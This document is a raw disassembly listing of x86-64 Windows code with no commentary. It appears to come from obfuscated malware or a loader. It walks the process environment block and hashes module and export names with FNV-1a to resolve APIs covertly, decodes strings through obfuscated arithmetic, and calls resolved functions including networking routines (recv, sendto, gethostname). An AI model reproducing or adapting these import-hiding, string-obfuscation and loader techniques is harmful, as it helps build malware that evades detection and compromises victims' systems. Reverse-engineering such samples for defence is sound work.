je 0x1401387c2
lea rax, [r10 + 0x400]
cmp rdi, rax
je 0x140138842
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1401387a3
lea rax, [r10 + 0x28]
cmp rdi, rax
je 0x140138784
lea rax, [r10 + 0x61]
cmp rdi, rax
je 0x140138776
lea rax, [r10 + 5]
cmp rdi, rax
je 0x140138757
lea rax, [r10 + 0x42]
cmp rdi, rax
je 0x140138749
lea rax, [r10 + 0x41]
cmp rdi, rax
je 0x1401383d8
mov rdi, rax
lea r10, [rax + 8]
lea rax, [r10 + 8]
cmp rdi, rax
jb 0x140138bb5
lea rax, [r10 + 0x80]
cmp rdi, rax
jb 0x140138b9a
lea rax, [r10 + 0x2a]
cmp rdi, rax
jb 0x14013859b
lea rax, [r10 + 0xa]
cmp rdi, rax
jb 0x140138582
lea rax, [r10 + 0x3e8]
cmp rdi, rax
jb 0x140138569
lea rax, [r10 + 2]
cmp rdi, rax
jb 0x1401386fb
lea rax, [r10 + 0x20]
cmp rdi, rax
jb 0x1401386ba
lea rax, [r10 + 0x1000]
cmp rdi, rax
jb 0x140138684
lea rax, [r10 + 4]
cmp rdi, rax
jb 0x140138664
lea rax, [r10 + 0x40]
cmp rdi, rax
jb 0x1401383d8
mov rdi, rax
lea r10, [rax + 0x40]
lea rax, [r10 + 0x7a]
cmp rdi, rax
ja 0x14013864a
lea rax, [r10 + 6]
cmp rdi, rax
ja 0x14013862f
lea rax, [r10 + 0x64]
cmp rdi, rax
ja 0x140138616
lea rax, [r10 + 0x5a]
cmp rdi, rax
ja 0x1401385fb
lea rax, [r10 + 9]
cmp rdi, rax
ja 0x1401385e0
lea rax, [r10 + 0x200]
cmp rdi, rax
ja 0x1401385d2
lea rax, [r10 + 1]
cmp rdi, rax
ja 0x1401385c4
lea rax, [r10 + 0x10]
cmp rdi, rax
ja 0x1401385b6
lea rax, [r10 + 0x400]
cmp rdi, rax
ja 0x1401383d8
lea rdi, [r10 + 3]
lea r10, [rdi + 3]
jmp 0x1401383d8
lea ecx, [r8 + 0x74]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x2c
jmp 0x1401383cb
lea ecx, [r8 - 0x44]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x24
jmp 0x14013837c
add r8b, 4
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x1c
jmp 0x14013830b
lea edx, [r15 + r8]
mov ecx, Ordinal_50
jmp 0x14013889d
sub r8b, 0x58
mov ecx, 0x34
jmp 0x1401387cb
lea edx, [r8 + 0x38]
mov ecx, reloc.WLDAP32.dll_Ordinal_60
jmp 0x14013884b
add r8b, 0x80
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
add bl, 0x80
jmp 0x140138a5a
sub r8b, 0x38
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x78
jmp 0x140138ae6
lea ecx, [r8 + 0x10]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x70
jmp 0x140138b16
add r8b, 0x58
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x68
jmp 0x140138b40
sub r8b, r15b
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, r15b
jmp 0x140138b86
add r8b, 0x54
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x4c
mov byte [rbp + r11 - 0x20], bl
jmp 0x140138b92
lea ecx, [r8 - 0x64]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x44
cmp r10, 0x64
jb 0x14013867a
lea ecx, [r8 - 0x58]
mov al, cl
and al, r9b
add al, al
sub cl, al
add cl, r9b
lea ebx, [rcx*2 - 0x30]
jmp 0x140138a76
lea ecx, [r8 - 0x1c]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x3c
cmp rdi, 0x2a
jae 0x1401389d7
lea rax, [r10 + 0xa]
cmp rdi, rax
jbe 0x140138931
lea ecx, [r8 + 0x78]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x48
jmp 0x140138698
lea ecx, [r8 + 0x2c]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x34
lea rax, [rdi + r10]
cmp rax, 0x400
je 0x1401389ef
lea rax, [r10 + 0x400]
cmp rdi, rax
jbe 0x1401388b1
lea edx, [r14 + r8]
mov al, dl
and al, r9b
mov ecx, 6
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x1401386ce
add r8b, 0x48
mov ecx, 4
jmp 0x140138823
sub r8b, 0x70
mov al, r8b
and al, r9b
mov ecx, 8
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, r9b
jmp 0x140138b40
lea edx, [r8 - 0x28]
mov ecx, ntohl
jmp 0x140138a12
add r8b, 0x20
mov al, r8b
and al, r9b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, r9b
jmp 0x140138ae6
add r8b, 0x68
mov al, r8b
and al, r9b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, r9b
jmp 0x140138a5a
add r8b, 0x40
mov ecx, reloc.WLDAP32.dll_Ordinal_32
mov al, r8b
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, r9b
jmp 0x140138aaa
lea edx, [r8 - 0x78]
mov ecx, 0x24
jmp 0x14013889d
lea rax, [r10 + 0x40]
cmp rdi, rax
jae 0x140138811
lea ecx, [r8 - 0x24]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 4
jmp 0x14013870f
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140138839
add r8b, 0x18
mov ecx, Ordinal_46
mov al, r8b
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, r9b
jmp 0x140138b86
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x14013885f
lea edx, [r8 - 0x50]
mov ecx, Ordinal_27
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x140138a3a
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x140138887
add r8b, 0x68
mov al, r8b
and al, r9b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, r9b
jmp 0x140138ac3
lea rax, [r10 + 8]
cmp rdi, rax
jne 0x14013870f
lea edx, [r8 - 0x28]
mov ecx, ntohl
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x140138a76
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401388c5
lea edx, [r8 + 0x24]
mov ecx, 2
jmp 0x14013889d
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1401388e8
sub r8b, r14b
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0xc
jmp 0x140138ac3
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x140138909
sub r8b, 0x44
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
jmp 0x140138ae3
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401386ce
sub r8b, 0x1c
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x3c
jmp 0x140138b86
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140138955
add r8b, 0x30
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x50
jmp 0x140138b86
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140138979
mov cl, r8b
sub cl, r15b
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, r15b
jmp 0x140138b16
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14013899d
add r8b, 0x10
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x70
jmp 0x140138a5a
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x1401389bc
lea ecx, [r8 - 0x38]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x78
jmp 0x140138a3a
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x140138698
lea edx, [r8 - 0x10]
mov ecx, gethostname
jmp 0x14013889d
lea edx, [r15 + r8]
mov al, dl
and al, r9b
mov cl, r9b
sub cl, al
add cl, 0x30
lea ebx, [rcx + rcx]
add bl, dl
jmp 0x140138a3a
lea edx, [r8 + 0x18]
mov al, dl
and al, r9b
mov ecx, Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
jmp 0x140138b16
lea edx, [r8 + 0x14]
mov ecx, Ordinal_60
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x140138b16
lea ecx, [r8 - 0x14]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x74
add r8b, 0x3c
mov al, r9b
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
add cl, cl
add cl, r9b
add cl, r8b
add cl, bl
mov byte [rbp + r11 - 0x20], cl
add rdi, r10
jmp 0x140138ae6
lea ecx, [r8 - 0x3c]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x5c
sub r8b, 0x7c
mov al, r9b
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
add cl, cl
add cl, r9b
add cl, r8b
mov byte [rbp + r11 - 0x20], cl
jmp 0x140138aaa
lea ecx, [r11 - 0x64]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x44
inc r10
jmp 0x140138ac3
lea ecx, [r11 - 0x1c]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x3c
dec r11
jmp 0x140138b92
movabs rax, 0x23904e9f988db3bc
add rax, r11
and dl, al
add dl, dl
sub r9b, dl
lea ebx, [rax + r9]
sub bl, 0x24
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
jmp 0x140138b92
movabs rcx, 0x381ae7d176a71a04
add rcx, r11
and dl, cl
add dl, dl
mov bl, r9b
sub bl, dl
sub bl, 0x1c
add bl, cl
mov r8b, r11b
sub r8b, 0xc
mov al, r8b
and al, r9b
mov ecx, Ordinal_46
sub cl, al
add cl, cl
add cl, r8b
add cl, r9b
movzx eax, cl
mov byte [rbp + r11 - 0x20], al
inc r10
add rax, r10
sub r11, rax
lea edx, [r11 - 0x30]
mov al, dl
and al, r9b
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, dl
add cl, r9b
mov byte [rbp + r11 - 0x20], cl
inc rdi
or rax, 0xffffffffffffffff
sub rax, rdi
add r11, rax
jmp 0x140138b86
movabs rax, 0x61301a3532d9e694
add rax, r11
and dl, al
add dl, dl
sub r9b, dl
lea ebx, [rax + r9]
sub bl, 0xc
movzx eax, byte [rbp + r11 - 0x20]
add rax, r10
add r11, rax
inc r11
jmp 0x1401382f8
add r8b, 0x4c
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x14
jmp 0x1401382f5
sub r8b, r14b
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0xc
jmp 0x1401382e5
lea rdx, [rbp + 0x177a3b0]
jmp 0x140138be5
lea rdx, [rbp + 0x12af08c]
jmp 0x140138be5
lea rdx, [rbp - 0x20]
mov r9d, 0x40
mov r8, rsi
xor ecx, ecx
call r13
mov rdx, qword [0x140319e10]
test rdx, rdx
jne 0x140138d59
xor r14d, r14d
mov r15d, 0xcded1a85
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
lea r13d, [rdx + 8]
movups xmm0, xmmword [rcx + 0x58]
movd eax, xmm0
sub ax, r13w
test r14d, r14d
je 0x140138c6d
psrldq xmm0, 8
movq rdx, xmm0
movzx eax, ax
shr rax, 1
lea r9, [rdx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x140138c5f
movsx eax, byte [rdx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rdx, 2
cmp rdx, r9
jne 0x140138c4e
cmp r8d, r14d
jne 0x140138d4a
mov r9, qword [rcx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x140138d4a
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x140138d4a
mov esi, dword [r10 + 0x20]
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + rsi]
add r8, r9
mov ebx, 0x811c9dc5
jmp 0x140138cc1
movsx edx, dl
xor edx, ebx
imul ebx, edx, 0x1000193
mov dl, byte [r8]
inc r8
test dl, dl
jne 0x140138cb6
cmp ebx, r15d
je 0x140138cd7
test r11d, r11d
jne 0x140138ca1
jmp 0x140138d4a
mov edx, dword [r10 + 0x1c]
add rdx, r9
mov ecx, dword [r10 + 0x24]
add rcx, r9
movzx ecx, word [rcx + r11*2]
mov edx, dword [rdx + rcx*4]
add rdx, r9
cmp rdx, r10
jbe 0x140138d52
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x140138d52
mov eax, 0x811c9dc5
mov r14d, eax
mov r15d, eax
jmp 0x140138d1b
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140138d0b
jmp 0x140138d30
movsx eax, al
xor eax, r15d
imul r15d, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x140138d23
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
mov rcx, qword [rcx]
jmp 0x140138c21
mov qword [0x140319e10], rdx
mov r13d, 0xcded1a85
mov ecx, 0x99
call rdx
mov rbx, qword [0x140319e48]
test rbx, rbx
jne 0x140138ecc
xor r14d, r14d
mov r15d, r12d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r12, qword [rax]
mov rsi, r12
movups xmm0, xmmword [rsi + 0x58]
movd eax, xmm0
sub ax, 8
test r14d, r14d
je 0x140138ddc
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x140138dce
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140138dbf
cmp edx, r14d
jne 0x140138ead
mov r8, qword [rsi + 0x30]
movsxd rax, dword [r8 + 0x3c]
mov rax, qword [rax + r8 + 0x88]
mov r9d, eax
add r9, r8
shr rax, 0x20
cmp r9, r8
je 0x140138ead
mov r10d, dword [r9 + 0x18]
test r10d, r10d
je 0x140138ead
mov edi, dword [r9 + 0x20]
dec r10d
lea rcx, [r8 + r10*4]
mov edx, dword [rcx + rdi]
add rdx, r8
mov r11d, 0x811c9dc5
jmp 0x140138e32
movsx ecx, cl
xor ecx, r11d
imul r11d, ecx, 0x1000193
mov cl, byte [rdx]
inc rdx
test cl, cl
jne 0x140138e25
cmp r11d, r15d
je 0x140138e47
test r10d, r10d
jne 0x140138e10
jmp 0x140138ead
mov edx, dword [r9 + 0x1c]
add rdx, r8
mov ecx, dword [r9 + 0x24]
add rcx, r8
movzx ecx, word [rcx + r10*2]
mov ebx, dword [rdx + rcx*4]
add rbx, r8
cmp rbx, r9
jbe 0x140138ec5
lea rcx, [rax + r9]
cmp rbx, rcx
jae 0x140138ec5
mov eax, 0x811c9dc5
mov r14d, eax
mov r15d, eax
jmp 0x140138e8b
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc rbx
mov al, byte [rbx]
cmp al, 0x2e
jne 0x140138e7b
jmp 0x140138ea0
movsx eax, al
xor eax, r15d
imul r15d, eax, 0x1000193
inc rbx
mov al, byte [rbx]
test al, al
jne 0x140138e93
mov rsi, qword [r12]
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r12
je 0x140138ec3
cmp qword [rax + 0x30], 0
jne 0x140138d93
xor ebx, ebx
mov qword [0x140319e48], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov rcx, rax
call rbx
mov rdx, qword [0x140319e40]
test rdx, rdx
jne 0x140139042
xor r14d, r14d
mov r15d, 0xb3002016
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r12, qword [rax]
mov rsi, r12
movups xmm0, xmmword [rsi + 0x58]
movd eax, xmm0
sub ax, 8
test r14d, r14d
je 0x140138f52
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x140138f44
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140138f35
cmp edx, r14d
jne 0x140139023
mov r8, qword [rsi + 0x30]
movsxd rax, dword [r8 + 0x3c]
mov rax, qword [rax + r8 + 0x88]
mov r9d, eax
add r9, r8
shr rax, 0x20
cmp r9, r8
je 0x140139023
mov r10d, dword [r9 + 0x18]
test r10d, r10d
je 0x140139023
mov edi, dword [r9 + 0x20]
dec r10d
lea rcx, [r8 + r10*4]
mov edx, dword [rcx + rdi]
add rdx, r8
mov r11d, 0x811c9dc5
jmp 0x140138fa8
movsx ecx, cl
xor ecx, r11d
imul r11d, ecx, 0x1000193
mov cl, byte [rdx]
inc rdx
test cl, cl
jne 0x140138f9b
cmp r11d, r15d
je 0x140138fbd
test r10d, r10d
jne 0x140138f86
jmp 0x140139023
mov edx, dword [r9 + 0x1c]
add rdx, r8
mov ecx, dword [r9 + 0x24]
add rcx, r8
movzx ecx, word [rcx + r10*2]
mov edx, dword [rdx + rcx*4]
add rdx, r8
cmp rdx, r9
jbe 0x14013903b
lea rcx, [rax + r9]
cmp rdx, rcx
jae 0x14013903b
mov eax, 0x811c9dc5
mov r14d, eax
mov r15d, eax
jmp 0x140139001
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140138ff1
jmp 0x140139016
movsx eax, al
xor eax, r15d
imul r15d, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x140139009
mov rsi, qword [r12]
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r12
je 0x140139039
cmp qword [rax + 0x30], 0
jne 0x140138f09
xor edx, edx
mov qword [0x140319e40], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x140319e38]
test rdx, rdx
jne 0x1401391af
xor r14d, r14d
mov r15d, 0x2fd4df39
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r12, qword [rax]
mov rsi, r12
movups xmm0, xmmword [rsi + 0x58]
movd eax, xmm0
sub ax, 8
test r14d, r14d
je 0x1401390bf
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x1401390b1
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x1401390a2
cmp edx, r14d
jne 0x140139190
mov r8, qword [rsi + 0x30]
movsxd rax, dword [r8 + 0x3c]
mov rax, qword [rax + r8 + 0x88]
mov r9d, eax
add r9, r8
shr rax, 0x20
cmp r9, r8
je 0x140139190
mov r10d, dword [r9 + 0x18]
test r10d, r10d
je 0x140139190
mov edi, dword [r9 + 0x20]
dec r10d
lea rcx, [r8 + r10*4]
mov edx, dword [rcx + rdi]
add rdx, r8
mov r11d, 0x811c9dc5
jmp 0x140139115
movsx ecx, cl
xor ecx, r11d
imul r11d, ecx, 0x1000193
mov cl, byte [rdx]
inc rdx
test cl, cl
jne 0x140139108
cmp r11d, r15d
je 0x14013912a
test r10d, r10d
jne 0x1401390f3
jmp 0x140139190
mov edx, dword [r9 + 0x1c]
add rdx, r8
mov ecx, dword [r9 + 0x24]
add rcx, r8
movzx ecx, word [rcx + r10*2]
mov edx, dword [rdx + rcx*4]
add rdx, r8
cmp rdx, r9
jbe 0x1401391a8
lea rcx, [rax + r9]
cmp rdx, rcx
jae 0x1401391a8
mov eax, 0x811c9dc5
mov r14d, eax
mov r15d, eax
jmp 0x14013916e
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14013915e
jmp 0x140139183
movsx eax, al
xor eax, r15d
imul r15d, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x140139176
mov rsi, qword [r12]
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r12
je 0x1401391a6
cmp qword [rax + 0x30], 0
jne 0x140139076
xor edx, edx
mov qword [0x140319e38], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x140319e30]
test rdx, rdx
jne 0x14013931d
xor r14d, r14d
mov r15d, 0xe80fd3a
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r12, qword [rax]
mov rsi, r12
movups xmm0, xmmword [rsi + 0x58]
movd eax, xmm0
sub ax, 8
test r14d, r14d
je 0x14013922c
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14013921e
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14013920f
cmp edx, r14d
jne 0x1401392fe
mov r8, qword [rsi + 0x30]
movsxd rax, dword [r8 + 0x3c]
mov rax, qword [rax + r8 + 0x88]
mov r9d, eax
add r9, r8
shr rax, 0x20
cmp r9, r8
je 0x1401392fe
mov r10d, dword [r9 + 0x18]
test r10d, r10d
je 0x1401392fe
mov edi, dword [r9 + 0x20]
dec r10d
lea rcx, [rdi + r10*4]
mov edx, dword [rcx + r8]
add rdx, r8
mov r11d, 0x811c9dc5
jmp 0x140139283
movsx ecx, cl
xor ecx, r11d
imul r11d, ecx, 0x1000193
mov cl, byte [rdx]
inc rdx
test cl, cl
jne 0x140139276
cmp r11d, r15d
je 0x140139298
test r10d, r10d
jne 0x140139260
jmp 0x1401392fe
mov edx, dword [r9 + 0x1c]
add rdx, r8
mov ecx, dword [r9 + 0x24]
add rcx, r8
movzx ecx, word [rcx + r10*2]
mov edx, dword [rdx + rcx*4]
add rdx, r8
cmp rdx, r9
jbe 0x140139316
lea rcx, [rax + r9]
cmp rdx, rcx
jae 0x140139316
mov eax, 0x811c9dc5
mov r14d, eax
mov r15d, eax
jmp 0x1401392dc
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x1401392cc
jmp 0x1401392f1
movsx eax, al
xor eax, r15d
imul r15d, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x1401392e4
mov rsi, qword [r12]
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r12
je 0x140139314
cmp qword [rax + 0x30], 0
jne 0x1401391e3
xor edx, edx
mov qword [0x140319e30], rdx
xor ecx, ecx
call rdx
cmp qword [0x140319e28], 0
jne 0x14013948d
xor r14d, r14d
mov r15d, 0xa52bcaf9
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r12, qword [rax]
mov rsi, r12
movups xmm0, xmmword [rsi + 0x58]
movd eax, xmm0
sub ax, 8
test r14d, r14d
je 0x140139398
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14013938a
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14013937b
cmp edx, r14d
jne 0x14013946d
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14013946d
mov r8d, dword [r10 + 0x18]
test r8d, r8d
je 0x14013946d
mov edi, dword [r10 + 0x20]
dec r8d
lea rcx, [rdi + r8*4]
mov edx, dword [rcx + r9]
add rdx, r9
mov r11d, 0x811c9dc5
jmp 0x1401393ef
movsx ecx, cl
xor ecx, r11d
imul r11d, ecx, 0x1000193
mov cl, byte [rdx]
inc rdx
test cl, cl
jne 0x1401393e2
cmp r11d, r15d
je 0x140139404
test r8d, r8d
jne 0x1401393cc
jmp 0x14013946d
mov edx, dword [r10 + 0x1c]
add rdx, r9
mov ecx, dword [r10 + 0x24]
add rcx, r9
movzx ecx, word [rcx + r8*2]
mov r8d, dword [rdx + rcx*4]
add r8, r9
cmp r8, r10
jbe 0x140139486
lea rcx, [rax + r10]
cmp r8, rcx
jae 0x140139486
mov eax, 0x811c9dc5
mov r14d, eax
mov r15d, eax
jmp 0x140139449
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc r8
mov al, byte [r8]
cmp al, 0x2e
jne 0x140139439
jmp 0x14013945f
movsx eax, al
xor eax, r15d
imul r15d, eax, 0x1000193
inc r8
mov al, byte [r8]
test al, al
jne 0x140139452
mov rsi, qword [r12]
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r12
je 0x140139483
cmp qword [rax + 0x30], 0
jne 0x14013934f
xor r8d, r8d
mov qword [0x140319e28], r8
mov r8, qword [0x140319e58]
test r8, r8
jne 0x140139502
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r10, qword [rax]
mov r8, r10
mov rcx, qword [r8 + 0x60]
movzx eax, word [r8 + 0x58]
shr rax, 1
lea r9, [rcx + rax*2]
mov edx, 0x811c9dc5
cmp rcx, r9
je 0x1401394e6
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r9
jne 0x1401394ca
cmp edx, 0x610c0de3
je 0x140139550
mov rax, qword [r8]
mov r8, rax
cmp rax, r10
je 0x1401394f8
cmp qword [rax + 0x30], 0
jne 0x1401394b0
xor r8d, r8d
mov qword [0x140319e58], r8
movsxd rax, dword [r8 + 0x3c]
mov r10d, dword [rax + r8 + 0x88]
xor r9d, r9d
mov r11d, dword [r10 + r8 + 0x20]
lea rcx, [r11 + r9*4]
mov edx, dword [rcx + r8]
add rdx, r8
mov ecx, 0x811c9dc5
mov al, byte [rdx]
inc rdx
test al, al
je 0x14013954b
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
mov al, byte [rdx]
inc rdx
test al, al
jne 0x14013952f
cmp ecx, 0xe463da3c
je 0x140139556
inc r9d
jmp 0x140139516
mov r8, qword [r8 + 0x30]
jmp 0x1401394fb
mov edx, dword [r10 + r8 + 0x1c]
add rdx, r8
mov ecx, dword [r10 + r8 + 0x24]
add rcx, r8
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r8
xor ecx, ecx
call rax
mov r12, rax
mov r10, qword [0x1403192c0]
test r10, r10
jne 0x1401396db
xor esi, esi
mov r14d, 0x820621f3
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov r15, qword [rcx]
mov rdi, r15
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x1401395ee
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x1401395e1
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x1401395d2
cmp edx, esi
jne 0x1401396bb
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r11d, eax
add r11, r9
shr rax, 0x20
cmp r11, r9
je 0x1401396bb
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x1401396bb
mov ebx, dword [r11 + 0x20]
dec r10d
lea rdx, [rbx + r10*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x140139642
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140139637
cmp edx, r14d
je 0x140139658
test r10d, r10d
jne 0x140139622
jmp 0x1401396bb
mov r8d, dword [r11 + 0x1c]
add r8, r9
mov edx, dword [r11 + 0x24]
add rdx, r9
movzx edx, word [rdx + r10*2]
mov r10d, dword [r8 + rdx*4]
add r10, r9
cmp r10, r11
jbe 0x1401396d4
lea rcx, [rax + r11]
cmp r10, rcx
jae 0x1401396d4
mov esi, 0x811c9dc5
